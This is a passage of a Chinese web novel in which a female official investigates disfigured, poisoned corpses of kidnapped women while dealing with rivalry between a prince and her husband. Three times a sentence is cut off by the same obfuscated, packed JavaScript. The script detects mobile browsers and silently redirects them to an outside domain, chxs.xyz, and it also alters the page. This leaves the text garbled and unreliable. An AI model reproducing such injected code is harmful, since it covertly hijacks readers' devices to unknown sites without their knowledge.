“那……下不为例。” 林雪意接过萧落珩手中的花,这才发现他的手指似乎是被树上的细枝划了一道口子,伤口正往外渗血,而他却似无所觉。 “落珩哥哥,你受伤了!”她心下一惊,忙拿出随身的丝帕要去擦。 萧落珩却缩回了手,道:“我没关系,去洗一洗就好了,别弄脏了你的帕子。” “那有什么关系?”林雪意上前一步拉起他的手,见血没有要止住的样子,干脆将帕子折了几折,替他把手包起来。 丝帕的一角垂下来,露出上面绣着的一朵歪歪扭扭的海棠花。 萧落珩见到了,嘴上没说什么,唇角却扬了扬。 林雪意不由小脸一红,水灵灵的杏眼剜了他一眼,嘀咕道:“不就是因为总绣不像,才想摘一朵来看看嘛……” 萧落珩眉眼一弯,道:“我听林叔说,意儿妹妹从没学过女红,能绣成这样已是难得。” “不用恭维我,我有自知之明。”林雪意小嘴撇了撇。 萧落珩伸手摸了摸她圆圆的小脑袋,无奈道:“你这说话的样子可真是越来越像林叔了。” 林雪意却神气起来,明亮眸光中透着些小得意:“你等着吧,将来我可是要像父亲一样,匡扶社稷,泽被万民呢。” 萧落珩闻言眼中流露出些许意外,继而他望着她笑起来,柔声道:“好。” 深月听完了这桩旧事,有些明白过来:“所以这帕子,后来就留在二殿下那儿了?” “是啊。”林雪意下意识地轻叹了一口气,垂下了目光。 就是在那之后没几日,萧落珩就认亲回宫了。 她得知萧落珩不久就要前往封地时,还伤心了好几日,直到萧落珩离京那天,父亲给她带来了他的信。 萧落珩在信上说,虽然要分隔很远,不能再时常陪她玩了,但是他会给她写信。 她的心情这才好起来,也开始学着给他写信。 小时候的她不懂藏拙,好出风头,街坊邻居总夸她机灵,但她却像是缺了一根筋似的,怎么也写不好字。无论父亲怎样教,她的字就是乏善可陈。 萧落珩来到家中后,每日都会陪她练字,却也收效甚微。 萧落珩走后,她为了给他写一封信,一样的内容每次都要写上好几遍,最后选一张自己最满意的,小心翼翼地折好收进信封中,再托人捎过去。 后来一年一年过去,信一封一封寄出,她的字也终于慢慢好起来。 而寄出去的那些信,她却一封都没有收到回音。 她也忘记了是哪一年,她终于停下了笔。 “姑娘,”深月从旁压低了声音,神神秘秘地问,“十年前的帕子,二殿下还一直留在身边,您说是为什么呢?” 林雪意收起了丝帕,微微抿唇道:“谁知道呢。” 若是从前,她或许也会问,这是为什么呢? 但是时至今日,好像也不重要了。 她跟萧落珩身份悬殊,本就不该再有什么交集的。 林雪意回到船上后便去更衣,等她换好衣服到外间时,明霞已经带着一列丫鬟手脚伶俐地已经布置好了晚膳,正好行礼退下。 深月望着一大桌子菜露出难以置信的神情,正巧屋外也传来了小丫鬟的声音—— “明霞姐姐,这位姑娘的身份一定很特别吧?殿下自己都没有这么多菜。” “休要多嘴!”明霞压低声音斥道,“殿下吃得少是因为脾胃不好。姑娘是客人,我们只管按殿下的意思招待便是。若再多话,我可要罚了。” “知道了,明霞姐姐,我就是好奇嘛。”想是明霞平日里待人宽和,说话的小丫鬟明显并不怵她,微带撒娇的话音也随着她们的远去消散开来。 无意间听到这一茬,林雪意心头微讶,就见深月已经目光移到了她脸上,咋舌道:“姑娘,二殿下对您真的是不一般。这好是好,就是有点……难以消受。” 林雪意明白她是说这一桌子菜根本吃不完,无奈笑道:“我看墨云也该回来了,等他来了一起吃吧。” 她话音刚落,就见深月微微撅起了嘴,好像在因为什么生气。 林雪意心中暗笑深月真是有什么事情都清清楚楚写在脸上,正想问墨云是怎么惹到她了,门外就传来了敲门声。 “大人。” 正是墨云的声音。 深月忿忿地去开门,顺便对站在门口的墨云使了一记眼刀。 墨云在愕然过后进了屋,向林雪意禀告起她交代给他的事。 “按大人所说的,属下找到了夏家的人并带他们去义庄辨认那具尸体。”墨云说到此处微微一顿,似乎也感到了事情棘手,道,“那尸体确实是阿琴。” 林雪意追问道:“那原先当做阿琴葬下的尸体,他们可同意验尸?” “属下也已征得他们同意。” “做得好。”林雪意点点头,笑道,“坐下一起用饭吧。” 墨云闻言一怔,忙道:“大人,这……于理不合。” “让你坐你就坐。”深月恼火道,“你都叫大人了,有什么于理不合的?” 墨云迟疑片刻,默默坐下了。 林雪意算是有些听出来是怎么回事了,她朝深月使了个眼色道:“先吃饭吧,不然菜都要凉了。” 这顿饭吃得极安静。林雪意在想案子的事,深月和墨云也似乎各有心事,三人皆是一言未发。 等吃完了饭,林雪意心中也已经打定主意,对墨云道:“墨云,要辛苦你去城中寻个赁屋,租一处宅院来。若是顺利,我们明日就搬过去。” 墨云领命退下,深月却大惑不解,问道:“姑娘,眼下晏世子昏迷未醒,明日就走,是不是过于仓促了?” 林雪意摇了摇头,道:“此案并不简单,恐怕不是一两日就能告破的,我们要早做准备。再者,一直叨扰二殿下也并不妥当。” 见林雪意主意已决,深月便没再多问,只是似懂非懂地点了点头,收拾起碗筷来。 林雪意沐浴过后便坐在屋中的书案后写写画画,逐条列出了近日发生的几件事情。 如今他们已经进入徐州地界,现下停船的水域叫做清淮江,距离琅琊渡不远,大约只有半日的船程。 失踪的芷柔是蒙潭村人,蒙潭村靠江,处于此处下游还未及琅琊渡的位置。 死亡的阿琴来自蒙湖村,蒙湖村虽然离江远些,却有一条大河与蒙潭村相通。 距离这两个村子最近的县城便是琅琊渡所在的尹阳县,芷柔和阿琴都是去了尹阳县后才失踪的。 尹阳地界看上去并不太平,不但县内有人口失踪,江上还有水贼出没。 她还在泤水县的时候就听衣庄掌柜说过水贼的事,可见水贼肯定在尹阳县闹出过不小动静。如今他们竟然已经胆大到敢劫杀官船,官府却没有进行整治,实在匪夷所思。 晚间她让墨云去租宅子,而不是直接找时间去衙门拜会,就是想要在民间走访几日,好探探虚实。 还有他们碰上的怪物也并不寻常,白天去张氏家中时,她曾探过张氏的口风,发现此处的民众并不知道“水鬼”的事。可是昨夜的水贼却对它们闻风丧胆,可见他们跟那些怪物早已打过照面…… 这些事情之间隐隐存在着某种关联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14199384|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是她眼前却像是有一层迷雾遮罩,一直之间看不真切。 林雪意思索良久,提笔缓缓在纸上写下一个“水”字。 它们其间如何联系她还不得而知,但是它们似乎都和水有着千丝万缕的关系。 被当做阿琴下葬的尸体是在河里找到的,伪装成芷柔的阿琴尸体又是在江边发现的。 残害二人的凶犯与迷魂胭脂有关,而她因为迷魂胭脂从泤水县开始追查的女子血液就是走水路运送至此处的琅琊渡。 水贼在琅琊渡附近的水域横行,江中又突然出现了“水鬼”。 看着纸上林林总总的线索,林雪意又想起了此处的知县尹世仁。 尹阳县地处水路要塞,如此案件频发,他却还能稳居知县之位,莫非真如张氏所说,是朝中有人,因此尸位素餐,有恃无恐? 想到此处,林雪意不由眉头微蹙。 论朝臣关系,她知道得确实不及晏返多。若能问问他,会清楚许多。 但是晏返眼下却一直没有苏醒的迹象…… “姑娘,夜已深了,您快些休息吧。”深月早已理好床铺,在床边等着等着差点睡着,揉着惺忪的眼睛过来道。 “你先睡吧。”林雪意起身望了一眼窗外明亮月色,道,“我去看看晏返。” “不不。”深月立刻就精神了,跟上去道,“我跟您一起去。” 屋外有风,不便带烛火,林雪意便只借着月光,带着深月按着白天的路线去晏返所在的房间。 屋中并未点灯火,显然晏返昏睡还是未醒。 林雪意轻轻推开了门,让深月在门口看着,自己悄声进了屋。 月光透过窗纸,映得屋内幽微发亮,因此行路并不困难。林雪意很快就走到了榻前,却觉出些不对劲来。 只见榻上的晏返虽然还是睡着,但却极不安稳。 月光映照下,他的双眉紧缩,额上一层细汗隐约可见,身体似乎极力在克制什么,显得紧绷僵硬。 他伤在背上,因此原本是侧躺着的,但是此时已经仰面朝天,身子下的床褥呈现一片暗色,不知是血还是汗。 “晏返?你怎么了?”林雪意猜测他是做恶梦了,轻声叫了一句,但他却并未醒过来,脸上神情愈发纠葛,唇缝间吐出些含糊不清的字句来。 “晏返?晏返?你醒醒。”林雪意微皱着眉头在榻上坐下,倾身过去拍了拍他,却冷不防被他大手一揽,按进了怀里。 梅花的冷香拥了林雪意满怀。 她的脸跟他挨得极近,因此可以看到他仍是双目紧闭,并未转醒,可是他的力气又大得惊人,她被箍在他怀中动弹不得,几乎都要喘不过气。 也因为挨得近,这一回她清清楚楚地听见了他说的是什么—— “走……林雪意……危险……” 他像是陷入了一个和她有关的梦魇,一直在浑浑噩噩中叫着她的名字。 或许,他也和她一样陷在那个四周被火势和怪物包围的噩梦里,她已经发现自己得救,他却无法醒过来。 “姑娘,怎么了?”外头的深月应该是听到了屋里的动静,走进来几步问道。 林雪意像是得救一般,艰难地从喉咙里挤出一句话来:“深月,快……点灯。” “哦,好、好!”深月显然是听出了林雪意话音中的慌乱,忙按她的吩咐在屋中桌上寻到了一盏灯,利索地将灯点亮。 屋子顷刻间被灯光照亮,林雪意眯了眯眼睛适应了突来的亮光,映入眼帘的面容苍白得令人心惊。 她望着近在咫尺的颤动着的眼睫,小心道:“晏返,我在这里,我已经没事了。” 52. 猜测 乌黑睫毛蓦然一顿,勒住她腰身的手这才松脱开来。 林雪意喘着气起身,接过深月手中的灯往前一照,果然就看见榻上的床褥已经洇开了一片血迹。 她扫视四周,很快在屋中一角看到了绷带和伤药。她示意深月去将它们取来,自己则轻手轻脚地将晏返身上染血的单衣脱下来,接着又去解他身上早已被血浸湿的绷带。 深月已经拿着绷带和伤药过来,似乎是怕她碰触男子身躯会不自在,忙道:“姑娘,让我来吧。” 林雪意知道深月是好意,但她见过晏返受伤,担心晏返身上的伤会吓到她,摇了摇头道:“不碍事,尸体我都碰过,这不算什么。” 深月的目光顿时充满敬意,其间还不乏一丝骄傲,叹道:“姑娘真是越来越有老爷的风范了。” 原本见晏返稍微安定下来,林雪意已经稍稍松了一口气,这下险些被深月的话逗笑。但是当她拆完晏返身上的绷带时,又笑不出来了。 只见他背上肩上遍布伤口,刀口斑驳凌乱,每一刀都很深,有的地方甚至生生被削去了皮肉。原先伤口上的血迹颜色已经随着时间推移变深,此刻因为伤口裂开又有鲜血渗出,显得更加狰狞可怖。 深月就站在旁边,因此也瞥见了一些。她不由得倒吸了一口凉气,惊道:“世子竟然伤得这样重。” 林雪意心中沉了沉,一边替晏返敷伤药一边道:“若不是因为我,也不至如此。” 提起此事,此前已经按捺下去的疑问又自她心头浮起——这一路上,晏返豁出性命都要保护她,究竟是为了什么? 面前的躯体精干壮实,除了新近才出现的伤口,还有一些旧伤。那些伤口显然原本也很深,因此如今已经变成疤痕盘踞在胸口、背部、甚至是手臂上。手臂上那一道,看着还是刚好不久的…… “这样看着,世子都不像纨绔子弟。”深月扫了一眼晏返身上大大小小的伤口,道出了心中的疑惑。 “嗯。”林雪意不置可否,但是心中已然有所推测。 京城中那个因斗鸡走狗出名的纨绔,恐怕只是晏返用来掩饰他真实身份的幌子。 更有甚者,他很可能都不是明远侯世子本人! 一念至此,林雪意心头不由升起了一丝寒意。 这件事到底有多少人知晓?知道到什么程度? 明远侯府是参与其中,还是也是受他蒙蔽? 还是说,这只是她未知全貌的臆测? 林雪意瞥了面白如纸的晏返一眼,又垂下了目光。 他本就是有意隐藏身份,虽然她还不清楚个中原因,但眼下把这层关系暴露在人前实非明智之举。 深月已经从衣橱中取来替换的单衣,林雪意替晏返重新包扎好伤口后,又替他穿好衣服。 她刚想熄灯离开,却发现晏返的眉头又紧紧虬结一处,似乎极为痛苦。他的手在榻上胡乱抓着,像是在梦魇中寻找什么东西,额上不停沁出汗珠。 眼看他又要辗转身体,林雪意怕他压到伤口忙去扶他,却在下一刻被他紧紧攥住了手。她下意识想抽回手,却发现他突然安静下来,面上神情也平和了许多。 “他怎么跟猫儿抓玩具似的?”深月打量了一阵,嘀咕道。 林雪意觉得深月这比方倒是有趣,但不知是不是巧合,晏返在挨着她的时候好像是会平静一些。她想了想,便在榻上靠坐下来。 深月见状问道:“姑娘,您该不会要这么坐一夜吧?” “我闭眼休息即可。”林雪意望着深月泛青的眼底,有些心疼道,“你今日劳累,先回去睡吧。” “那……”深月似乎有些不放心,迟疑片刻后道,“我还是在外间守着吧。姑娘若有事便叫我。” 林雪意担心后半夜晏返的症状会复发,便没再熄灯,只在一旁靠着,目光不知不觉间描摹起晏返的脸庞。 他长得极俊朗。 平日里醒着的时候,眉眼间总是有意无意地衔着一点轻浮和倨傲,一笑起来便肆意张扬。如今这般通身沉静的样子让她感到了一丝陌生,宛如埋于深雪中的一柄古刀,但她却无端觉得这才接近他真正的样子。 就在林雪意恍惚间,外间突然响起了脚步声。抬眼看去,墨云正跟在打着呵欠的深月身后进来。 墨云看见眼前景象愣了一愣,继而他敛去眼底讶然,道:“大人,事情都已办妥。属下已经找到合适的宅子,明早屋主就会遣人去整理。” “好。”林雪意思忖片刻,叫住了打算退下的墨云,“墨云,你坦白告诉我,晏返是不是瞒了我什么?” 墨云身形一僵,半晌才道:“大人恕罪,属下不能说。” “哼,我就说嘛,”深月鄙夷地扫了墨云一眼,“有些人啊,平时动不动大人前大人后的,真要有事,胳膊肘还不是往自家主人那边拐。” “不是的,大人!”墨云闻言即刻半跪下来,言辞恳切道,“大人以诚待我,属下对大人敬重之至,若有需要,属下愿为大人舍命。世子有自己的苦衷,属下不能妄言。但属下可以以命起誓,世子绝对不会伤害大人!” 室内一时安静得针落可闻,原本还嗤之以鼻的深月也呆了呆,显然是没想到墨云会发这么重的誓。 “好了,起来吧。”待墨云起身,林雪意接着道,“我自然是相信你的忠心的,也不是在怪你。一切等晏返醒了再说吧。” 墨云颔首退下,深月也再次去了外间,林雪意这大半夜下来已是十分疲倦,嗅着周围冷冽的梅香也渐渐合眼睡去了。 等她再醒来时,已是天色微亮。 她下意识动动发酸的手,发现晏返先前紧攥不放的手已经松开了。 晏返还未醒来,但她却直觉般感到有什么地方和夜深的时候不一样。 她想了想,又伏到晏返身侧嗅了嗅,这才确定是夜间一直萦绕她鼻尖的香味不见了。 那香味好像是从晏返身上散出来的,但却不是一开始就有的,至少在京城的那段时间里,她就从未闻到过。 闻见那种寒梅香气的几个场景依次从林雪意脑海中掠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14232965|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,她只觉得心中有根线悄悄绷紧了,停落在晏返身上的视线也逐渐凝重起来。 那香味越是浓郁的时候,他好像越是不对劲,等香味淡了,他就会慢慢恢复成往日的样子——就如眼下这般。 她第一次闻到那种香味,好像就是在晏返咬她的那一晚。 难道他当时的失态,是跟那香气有关? 第二次便是前日夜间在官船之上,水贼发难之时,他的状态也很奇怪。 第三次就是昨夜了。 她每次闻到那种寒梅的香气都是在子时前后,这一晚下来,那香气也是在子时最浓,等天亮了就渐渐散了…… “姑娘醒了?不如我扶您回房休息吧。”深月似乎是听到了林雪意起身的动静,从外间进来问。 林雪意的思绪被打断,想到今日还要去探查,她干脆带着深月回房梳洗更衣了。 两人刚打开房门打算出去,就远远地看见明霞过来了。 明霞快步过来行礼,问候道:“姑娘怎么起得这样早?早膳已经备好,姑娘可是要用一些?” “也好。”林雪意道,“我这两日都在船上,总觉得不如平地来得踏实。今日醒得早,便想四处逛逛。” 明霞立刻明白过来,再次行礼道:“那奴婢这便吩咐下去,给姑娘准备车马。” “有劳了。”见明霞要退下,林雪意又叫住了她,叮嘱道,“不必特意去告诉二殿下,他向来眠浅,让他多睡一会儿。” “是。”明霞乖顺应下,便离开了。 林雪意又让深月叫来墨云,三人吃过早点后,便坐上马车出发了。 由于墨云在尹阳县租的宅子还需要打扫整理,林雪意便决定先去蒙湖村验尸。 约莫一个半时辰后,三人便到了目的地。 昨日墨云已跟夏家阿琴的双亲打过照面,经他引见后,林雪意向夏家夫妇说明了来意。 夏家夫妇显然是被此事惊扰忧思了一整夜,两眼泛红地带林雪意到了阿琴的墓地。 林雪意有意要避人耳目,因此只请同行的车夫帮忙,同墨云一起挖坟开棺。 在棺盖打开前,林雪意心中就已有猜测,因此当夏家夫妇见到棺中尸体发出惊呼时,她心中并不惊讶——做当做阿琴下葬的尸体也没有出现什么腐坏的迹象。 “姑娘,怎么这里的也……”深月有些讶然,道,“这可是一年前……” 这是真的尸体不假,但死亡已有一年之久,却还整体完好,简直匪夷所思。 林雪意下到棺木旁细看,棺中尸体的长相和她昨日在蒙潭村发现的阿琴尸体极为相像,唯一不同的地方在于,这具尸体虽然也并未腐烂,但是比之阿琴的尸体要显得干瘪一些,因此尸体面部的皮肤状态和脖颈处便有明显的区别。 林雪意取来工具按照昨日的方法,果然从尸体的面部揭起了一张人皮面具。 可是当面具完全被撕开时,饶是林雪意已在心中做了准备,眼前所见还是让她悚然一惊—— 这具尸体根本没有脸! 53. 心迹 在场的人全都吓了一跳。 林雪意定了定心神,观察起尸体的面部。 虽然没有脸,但底下也不是骨骼和腐肉,原本脸部的位置依稀按着脸型轮廓的样子覆了一层淡黄色的黏土。 她取来工具刮了一些黏土下来细细打量,似乎是高岭土。 深月脸色惨白地攥住了近旁墨云的手臂,向林雪意道:“姑娘,她的脸怎么变成这样了?” “我想,是有人将她整张脸挖去,但是又想把她伪装成阿琴,因此才用高岭土在她脸上塑出轮廓,这样人皮面具才能跟脸部贴合。” 林雪意边说边拿起工具,开始清理尸体面部的高岭土。高岭土被层层扫落,最后露出了底下的骨骼。 这具尸体原本的面皮似乎是被完整地割去的,就连眼睛的位置都是深剜进去的,面部几乎没有留下什么皮肉。 等看清尸体面部的样子,林雪意不禁感到头皮发麻。 虽然上面粘连的少许皮肉就如尸体其他地方的皮肤一般一片死白,但是露出的骨骼却青黑一片,接触空气后开始散发出一股刺鼻的味道。 “大人,这尸体生前应该是中了剧毒。”墨云道。 林雪意点了点头,道:“这恐怕就是尸体长久未腐的原因。” 如此深入骨骼的剧毒,就连虫蚁都不敢接近,腐化的程度自然也要比普通的尸体慢上许多。 一年前阿琴的遇害和最近芷柔的失踪,显然是出自同一个人的手笔。 阿琴定然也是被囚禁了一段时间,因此凶手才用他人尸体来顶替她,混淆视听。 凶手到底是出于什么目的,要这样连续拐走女子,又为什么要用这么残忍的方法杀死她们? “大人,你有没有觉得……”深月缩了缩脖子,怯怯道,“阿琴跟芷柔长得还挺像的?” 深月的话就像一块投入湖心的石头,让林雪意心头一惊。 她遏住起伏的心绪,凝眉打量了尸体片刻,道:“不止是容貌。这具尸体的身量也跟阿琴的相似,想必阿琴跟芷柔也是一样。只有这样,才能让人相信尸体是他们的家人。” 一时间朔风四起,人人背上都窜上一股森寒。 难道说,凶手有残害相貌相似的女子的变态嗜好? 林雪意又想起昨日自己在回溯场景时看到的画面。 那间石室应该是凶犯私设的密室,她并没看出什么可以确定方位的线索。但是凶犯给阿琴的尸体化妆的时候,她看到了满架的胭脂水粉。 给阿琴化妆的那双手明显是男人的手,一个男人要时常购买女子才会用的脂粉,定然会给他人留下印象。 一念至此,林雪意交代墨云留下善后,自己跟着深月先一步去往尹阳县城。 一个时辰之后,马车从城东入城,林雪意和深月开始沿路打听城中的胭脂铺子。 为了便宜行事,林雪意今日多带了一套衣物出门。 上了马车后,深月便帮她褪下了验尸时穿的简单穿着,换上另一套绣工精致的丁香色飞鸟团花锦裙衫,重新替她挽了温婉的随云髻,戴上船上厢房里备着的翡翠璎珞,珠花步摇。林雪意再薄施胭脂,轻点唇红,一眼看去,俨然一个姝容昳丽的大家闺秀。 每间胭脂铺的老板娘见了她都以为是富家千金来买胭脂的,因此十分热络地同她寒暄,但是当她问及有没有来男客人来买过胭脂后,她们却都满脸疑惑地说来店里买胭脂的都是女客。 林雪意原想着她们有马车,查访起来会快一些,但是一下午兜兜转转走访了大半个县城,胭脂铺是去了不少,却没有找到一点关于凶犯的线索。 “姑娘,这尹阳县城又大又热闹,铺子又多,兴许犯人买胭脂的铺子我们还没有找到。”深月猜测说。 林雪意微微皱眉,道:“你说得不无道理。只是我们今日去的那么多胭脂铺,店里不论生意好坏,光顾的全都是女客。” 深月不解其意,问道:“确实是呀。那些铺子的老板娘也都是这么说的,她们也从未听说有男人买胭脂,这有什么奇怪的吗?” “无论是那些铺子说的,还是我们在店里看见的,都足可见得,这里的民风趋于保守,还讲究男女大防。”林雪意解释道,“若真有男客人,当是一件稀奇的事,那么此事应当会在铺子间流传开来才对。” 深月立时明白过来,接道:“可是那些铺子的老板娘,听到我们问起男客人都一脸奇怪,所以她们压根就没听说过有这样的事。” “对。”林雪意点头道,“如果犯人是有意隐藏身份,那也藏得太好了。” “那会不会……”深月想到了一种可能,小脸白了白,惴惴不安道,“犯人还有帮凶,而且是个女子……” 林雪意见状拍了拍深月的手背,安抚道:“我也还不能肯定。” 也难怪深月会有这样的猜想,毕竟此地只有女子买胭脂才不会引起店家的注意。 可是一想到确实有这样的可能,饶是林雪意一向冷静,心头也开始突突地产生不适感。 凶犯的手段极端变态、残忍,且以女子为特定目标,当真会有身为女子的同伙,对此视若无睹,同他为虎作伥吗? 眼看日头西斜,再找下去也不会有更多线索,林雪意在街上逛了一圈后,便吩咐车夫循着墨云说的地址去看租赁的宅子。 宅子虽然不大却布置雅致,也早已收拾停当。林雪意看好了自己和深月的房间,便又带着深月坐上马车,向萧落珩的船赶去。 暮色低垂之时,马车终于返回大船的停泊处。 林雪意下了马车登船,一眼就瞥见了快步朝她而来的萧落珩。 往日里总是丰神俊秀的男子,清淡疏朗的眉目间少见地凝在一处,似是为什么事忧心了许久。 “二殿下?”林雪意不免有些意外。 “意儿,你去了哪儿?怎么现在才回来?”萧落珩不无担心地问。 林雪意明白过来,萧落珩是见她出门太久,放心不下,便行礼道:“让二殿下挂心了。我昨日吩咐墨云去城里租了宅子,今日去城里查线索的时候顺道去看了看,因而耽误了些时辰。二殿下莫要见怪。” “你要搬出去?”萧落珩闻言眉头皱得更深,漂亮的凤眼中浮起一丝惊愕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14262151|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。”林雪意点了点头,微笑着解释道,“这一来嘛,方便查案;二则,总在此处叨扰二殿下也不是个法子。宅子已经整理好,我正要向二殿下辞行,顺便打点行装。” 萧落珩眼底的眸光颤了颤,继而他望着林雪意,神容一时有些落寞:“意儿,你在躲着我。” 林雪意唇角的淡淡笑意不由得僵住,心弦不知为何幽幽一颤。 她垂眼避开了萧落珩的视线,拱手道:“二殿下多虑了,下官并非有意回避。殿下救命之恩,下官铭感五内。只是下官要留在此地查案,不能再耽误殿下入京之事。天下无不散之宴席,还望殿下前路珍重。” “意儿,你说谎。”萧落珩语声微哑,轻轻握住了林雪意的手,“如果你不是在回避我,为什么不敢看我?” 黄昏的天色下,宁谧的沉水香缓缓散开,让人心中一点一点地发疼。 林雪意咬了咬唇,缓缓抬起眼睫,差点跌进对方那潋滟却执着的缱绻眸光里。 她按捺住心口抽痛抽回了手,尽量神色平静地望着萧落珩道:“二殿下,您是皇子,我是朝臣,过从甚密难免引人非议。我知殿下赤子之心,但也不愿殿下受言官弹劾,遭无妄之灾。” “我不在乎!”萧落珩语声坚定地道,“我不在乎他人如何,我只在乎你如何。此地过于危险,你要留下来查案,我就陪你查案。” “就是因为有危险,我才更加不能将您牵扯进来。”林雪意一时有些急切,她缓了缓语气,又道,“何况我还有世子可以帮忙,不敢劳烦二殿下。” 萧落珩闻言眸光一黯,语声不由沉了沉:“意儿,你真的认为晏世子靠得住吗?” 林雪意敛去眼底异样,抿唇道:“世子他待我很好,殿下不必挂怀。” “他对你很好?”萧落珩上前一步,总是清淡如水的眸光变得炽热起来,“他对你的好,就是在大婚之日丢下你,上青楼去喝花酒吗?” 林雪意只觉得心中狠狠一痛,不由连退两步。她心中惊骇,睁大了眼睛望着萧落珩,也忘记了用敬语:“你怎么……” 她说到一半蓦然停住,四下里一片死寂,夕阳下只剩两人的衣袍被冷风吹动的声音。 是萧落珩先一步打破了令她不安的寂静。 “最初知道你的婚事的时候,我险些控制不住,想要闯进京城去找你。”萧落珩的目光柔下来,他自嘲般笑了笑,那笑意却无法到达眼眸深处,“可是我说服自己,该相信林叔,他会定下这桩婚事,定然是经过了深思熟虑。” 被萧落珩以如此深邃又温柔的眼神注视着,林雪意只觉得心头扑通直跳。她下意识地觉得自己不能再听下去,可是双脚却像是被定住一般,无法挪动半分。 在她轻颤的视线中,萧落珩走到她跟前轻轻抓住她肩膀,沉水香特有的沉静香味带着他的温度散了她满怀:“意儿妹妹,眼睁睁地看着你嫁与他人,是我这一生中最后悔的事。” “我劝二殿下谨言慎行。”一道毫无温度的冷硬声线从林雪意身后传来,语气并无剧烈起伏,甚至带着淡淡的调侃,却让人感到冰冷入骨,“放开我夫人。” 54. 吵架 林雪意闻声怔然片刻,愕然转头,就见那道熟悉的修长身影正朝她而来。 “晏返?你醒了!”林雪意望着身后来人脱口而出,握住她肩膀的双手轻轻一颤,应声而落。 晏返眉眼一弯,唇角凝起一个好看的弧度,向林雪意伸出了手:“早就醒了,还跟墨云出去走了一遭,让夫人久等了。” 林雪意垂眸敛去眼底讶然,轻轻抬手放进他手心,复又扬起笑脸,道:“世子来得正好,我正在向二殿下辞行。世子既然来了,便陪我去屋中收拾东西吧。” “好啊。”晏返欣然应下,目光却越过林雪意的肩膀,看向站在她身后的萧落珩,扬声道,“二殿下,感谢您的搭救之恩。不过我希望您能记得,我和我夫人的事不需要外人多事,一点夫妻情丨趣罢了。” 他说完便拉着林雪意离开,走了两步似觉得不够,干脆大手一揽环在她肩侧,将她像一只小鸟一样按进怀里。 林雪意并没有推开他,在即将走过前方转角的时候,她侧过头看了萧落珩一眼,有些歉然地冲他点了点头,算是就此别过。 待两人走过足以隔断视线的墙垣,林雪意堆在脸上的笑容立刻僵了,晏返环着她的手下意识收紧了些,继而又轻轻一松。 “是他吗?”晏返进了屋子,看似漫不经心的语声里透着若有似无的冷淡。 林雪意被他这么没头没脑的一句弄得有点懵,却直觉般地感受到了话中的敌意,停住脚步扬眉问道:“什么意思?” “我们还在京城的时候,你说过,”晏返回身直视着她,提醒道,“我们的婚事只是父母之命,我心不甘,你也情不愿。林雪意,你之所以不情愿嫁给我,就是因为萧落珩吗?” 林雪意不由一滞,扭头别过了视线,道:“你想多了。” “我想多了?”晏返嗤笑一声,清醇嗓音里透着一丝莫名的苦涩,“你为了他可以跟我逢场作戏。同样是说谎,你可以逼自己看着他的眼睛说。甚至你眼下如此搪塞我,也全是在为他考虑。你敢说你心里没有他?” 林雪意也不知道是为什么,若是往常,她根本不会理会晏返的胡言乱语,但如今他的每一句话都无端地让她心里抽痛。 她深吸了一口气,抬头直看进他眼里,不甘示弱道:“就算是又怎么样?晏世子,你说这样的话难道不心虚吗?你对这桩婚事心有不甘,不也是因为你一直心里有人吗?” “有人?”晏返上前一步,皱眉质问,“我心里有什么人?” 林雪意没有看漏他眼中一闪而逝的慌乱,嘲讽笑道:“你忘了?你跟我说过那个想要做官的小姑娘的事。你心里一直记挂着她不是吗?” 晏返眉间顿时浮起薄薄的怒意,道:“这话我可没说过,你不要……” “你要不要再想想,你都跟我说过些什么?”林雪意打断了他,道,“你若是不在乎她,你又怎么能清清楚楚地记得,你是在十一年前救的她?你甚至连她当时拿的书都还记得!” 晏返猛然顿住,他盯住林雪意上下打量片刻,脸上的神情变幻莫测起来。 他觑着她因为跟他争执而涨红的脸,唇角微勾,眉间缓缓浮起一丝笑意来:“林雪意,你这是在吃醋?” 见对方嬉皮笑脸的样子,林雪意更加恼火,上前两步狠狠踩上晏返的脚。 晏返没有防备,被她这么结结实实地踩了一脚,不由吃痛跳开,嗷嗷叫起来。 林雪意不理会他的滑稽,波光潋滟的杏眼中满是怒意:“晏世子,既然已经决定要和离,就请你不要再招惹我!” 晏返的哀嚎声立刻停了,他目光奇特地看着林雪意,问出了一句更加没头没脑的话:“你忘记了?” “我忘记什么了?”林雪意没好气地反问。 晏返眼珠转了转,勾唇道:“前日夜里,你分明已经和我同生共死,生死相许,哪还有和离什么事?” “你住口!”林雪意反应过来晏返说的是他们跳船的事,心头虽然还是怒意升腾,语气却慢慢冷静了下来,“晏世子,那时我孤注一掷等你来救,不过是因为我知道,你有必须救我的理由。否则,你当初就不会乔装成方凌去救我。你有什么目的大可明说,不要再来这一套了!” 晏返眼中闪现一丝惊异,他望着林雪意,一时说不出话来。 